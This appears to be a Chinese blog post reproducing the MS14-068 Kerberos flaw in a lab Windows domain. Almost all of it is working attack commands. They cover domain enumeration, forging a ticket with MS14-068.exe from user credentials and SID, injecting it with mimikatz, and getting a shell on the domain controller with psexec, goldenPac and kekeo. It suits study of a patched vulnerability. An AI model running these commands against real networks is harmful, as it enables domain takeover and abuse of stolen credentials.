0x01 简介
MS14-068漏洞可将普通域用户权限提升为域管理员用户,这个漏洞实战是碰到的可能性非常小了,但是如此经典的漏洞,不去玩一下,真的很不爽,于是搭建环境,复现一波。
0x02 漏洞复现
方法1:MS14-068工具利用
(https://github.com/ianxtianxt/MS14-068)
最开始想用一台win 2003作为域内机器攻击域控,可工具在03上各种问题,于是换了一台08的机器。
1、假定现在已经获取了域内的一台机器。首先查看当前用户是否为域用户。
net user zhangsan /domain
获取域控信息
net group “domain controllers” /domain
2、通过dir访问域控的共享文件夹,显示拒绝访问。
3、这里我们要用到“MS14-068”工具复现此漏洞,我们需要获取当前域机器的域用户名、密码、用户sid等信息。
获取用户sid:whoami /user
4、执行下列命令,会在当前目录生成一个ccache文件。
MS14-068.exe -u zhangsan@ggyao.com -p Aatesttest -s S-1-5-21-1572179255-3807128208-2620765154-1116 -d WIN-2008-DC.ggyao.com
5、删除当前域机器的票证:klist purge。
6、使用mimikatz将ccache文件导入,提升为域控权限。
kerberos::ptc TGT_zhangsan@ggyao.com.ccache
7、成功dir域控服务器C盘。
8、使用psexec.exe获取一个交互式shell。
psexec.exe \WIN-2008-DC.ggyao.com cmd
psexec执行单条命令:
psexec.exe \WIN-2008-DC.ggyao.com cmd /c “ipconfig”
方法2:goldenPac.exe(推荐使用)
(https://github.com/maaaaz/impacket-examples-windows)
此工具是impacket工具包里的,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷。
goldenPac.exe ggyao.com/zhangsan:Aatesttest@WIN-2008-DC.ggyao.com
方法3:kekeo.exe
(https://github.com/gentilkiwi/kekeo/releases)
通过kekeo.exe获取域控权限,此工具并非每次都能成功利用。
kekeo.exe “exploit::ms14068 /domain:ggyao.com /user:zhangsan /password:Aatesttest /ptt” “exit”